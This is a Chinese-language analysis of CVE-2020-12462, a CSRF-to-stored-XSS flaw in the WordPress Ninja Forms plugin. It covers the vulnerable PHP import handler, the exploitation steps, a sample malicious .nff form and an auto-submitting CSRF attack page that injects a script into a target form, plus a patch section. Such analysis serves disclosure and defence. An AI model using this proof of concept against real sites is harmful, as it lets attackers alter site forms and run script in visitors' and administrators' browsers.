WordPress Ninja Forms插件 CSRF to XSS漏洞(CVE-2020-12462)分析
字数 1231 2025-08-25 22:58:40
WordPress Ninja Forms插件CSRF to XSS漏洞分析(CVE-2020-12462)
漏洞概述
漏洞名称:Ninja Forms插件CSRF to XSS漏洞
CVE编号:CVE-2020-12462
影响版本:Ninja Forms 3.4.24.2之前的所有版本
漏洞类型:CSRF导致XSS
影响范围:全球超过2,000,000个使用Ninja Forms的WordPress网站
漏洞危害:攻击者可替换网站表单为恶意表单,当用户或管理员访问时触发XSS攻击
漏洞背景
Ninja Forms是一款流行的WordPress表单插件,允许用户无需编码即可创建美观的表单。该漏洞存在于插件的"降级"功能相关代码中。
漏洞分析
漏洞位置
漏洞位于ninja-forms/lib/NF_Upgrade.php文件中的ninja_forms_ajax_import_form函数。
漏洞成因
-
CSRF漏洞:
- 函数仅校验用户权限(
current_user_can('manage_options')),未校验CSRF token - 攻击者可构造恶意页面诱骗管理员点击,执行非预期的表单导入操作
- 函数仅校验用户权限(
-
XSS漏洞:
- 通过CSRF攻击可导入包含恶意JavaScript代码的表单
- 当用户或管理员访问被篡改的表单时触发XSS
漏洞利用流程
- 攻击者构造恶意表单并导出为.nff格式
- 创建CSRF攻击页面,提交恶意表单数据到目标网站
- 诱骗管理员访问攻击页面
- 恶意表单覆盖原有表单
- 用户或管理员访问被篡改表单时触发XSS
技术细节
关键函数分析
// 注册AJAX处理函数
add_action('wp_ajax_ninja_forms_ajax_import_form', 'ninja_forms_ajax_import_form');
function ninja_forms_ajax_import_form() {
// 仅检查权限,无CSRF防护
if (!current_user_can('manage_options')) {
die();
}
$import = isset($_POST['import']) ? $_POST['import'] : '';
$formID = isset($_POST['formID']) ? $_POST['formID'] : '';
// 导入表单数据
Ninja_Forms()->form()->import_form($import, $formID);
die();
}
攻击向量构造
-
获取目标表单ID:
- 通过查看网页源码获取现有表单的formID
-
创建恶意表单:
- 在表单描述或字段中添加恶意JavaScript代码
- 例如:
<script>alert('XSS')</script>
-
导出恶意表单:
- 使用插件导出功能生成.nff文件
- 示例.nff文件内容:
{"fields":[{"id":1,"type":"textbox","label":"Name","desc":"<script>alert('XSS')</script>"}]}
-
构造CSRF攻击页面:
<form action="http://target-site/wp-admin/admin-ajax.php?action=ninja_forms_ajax_import_form" method="POST"> <input type="hidden" name="import" value='{"fields":[{"id":1,"type":"textbox","label":"Name","desc":"<script>alert(\'XSS\')</script>"}]}' /> <input type="hidden" name="formID" value="2" /> <input type="submit" value="Submit" /> </form> <script>document.forms[0].submit();</script>
漏洞验证
- 管理员访问恶意页面
- 检查目标表单是否被替换
- 访问被篡改的表单:
- 用户提交表单时触发XSS
- 管理员编辑表单时也会触发XSS
修复方案
-
官方修复:
- 升级到Ninja Forms 3.4.24.2或更高版本
- 修复补丁添加了CSRF token校验
-
临时缓解措施:
- 禁用Ninja Forms插件的"降级"功能
- 限制管理员访问不可信网站
- 使用安全插件添加额外的CSRF防护
总结
CVE-2020-12462是一个典型的CSRF导致XSS的漏洞链,攻击者通过构造恶意表单并利用CSRF漏洞将其导入目标网站,最终实现XSS攻击。该漏洞的危害性较高,因为:
- 影响范围广(200万+网站)
- 攻击者可完全控制表单内容
- 不仅影响普通用户,也影响管理员
- 触发场景多样(表单提交和后台管理)
开发人员应引以为戒,在实现敏感操作时不仅要检查用户权限,还必须实施CSRF防护措施。